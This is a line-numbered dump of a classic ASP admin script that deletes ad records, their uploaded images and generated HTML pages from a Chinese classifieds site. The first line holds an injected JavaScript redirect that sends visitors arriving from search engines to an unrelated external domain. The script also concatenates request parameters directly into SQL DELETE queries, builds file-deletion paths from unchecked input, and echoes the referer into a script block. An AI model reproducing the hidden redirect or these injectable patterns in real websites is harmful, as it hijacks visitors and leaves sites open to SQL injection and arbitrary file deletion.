d:\wwwroot\wuchunhua\del.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <%if session("china_uid")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,thdel
007: theid=request("adid")
008: thedel=request("del")
009:
010: if theid="" or thedel="" then
011: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
012: response.end
013: end if
014:
015:
016: if thedel="data" then
017: sql="select * from china_data where adid in("&theid&")"
018: set rs=server.createObject("ADODB.recordset")
019: rs.open sql,conn,1,1
020: Set fdel = CreateObject("Scripting.FileSystemObject")  
021: do while not rs.eof
022: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
023: '''''''''''删除图片开始''''''''''''''''
024:               tempImageDir = Server.MapPath("adpic/"&rs("pic")&"")
025:                 fdel.DeleteFile(tempImageDir)
026: '''''''''''删除图片结束'''''''''''''''
027: end if
028: rs.movenext
029: loop
030: set fdel=nothing
031: rs.close
032: set rs=nothing
033: sql="delete from china_data where adid in("&theid&")"
034: conn.execute(sql)
035:
036: sql="delete from china_message where adid in("&theid&")"
037: conn.execute(sql)
038: '''''''''''删除html开始''''''''''''''''
039: Set fdel = CreateObject("Scripting.FileSystemObject")  
040: for i=1 to request("adid").count
041: id=request("adid")(i)
042:               tempImageDir = Server.MapPath("html/"&id&".htm")
043:                 fdel.DeleteFile(tempImageDir)
044:         next
045:        set fdel=nothing
046: '''''''''''删除html结束'''''''''''''''
047: end if
048:
049: if thedel="message" then
050: sql="delete from china_message where id in("&theid&")"
051: conn.execute(sql)
052: end if
053:
054: conn.close  
055: set conn=nothing                                
056: response.write"<script>alert('删除成功!');location='"&request.ServerVariables("HTTP_REFERER")&"'</script>"
057: %
>
058:
059: